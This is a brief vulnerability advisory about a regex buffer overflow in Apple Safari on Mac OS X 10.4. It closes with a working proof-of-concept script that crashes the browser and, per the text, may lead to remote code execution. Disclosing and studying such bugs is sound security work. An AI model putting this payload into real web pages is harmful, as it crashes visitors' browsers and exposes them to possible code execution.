Apple Safari "match" Buffer Overflow Vulnerability

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The following bug was tested on the latest version of Safari on a fully-patched 
Mac OS X 10.4. 

A remote attacker may exploit this issue to crash the application, effectively 
denying service to legitimate users. Successful exploitation could lead to 
remote code execution.

<script>
var reg = /(.)*/;
var z = 'Z';
while (z.length <= 8192) z+=z;
var boum = reg.exec(z);   
</script>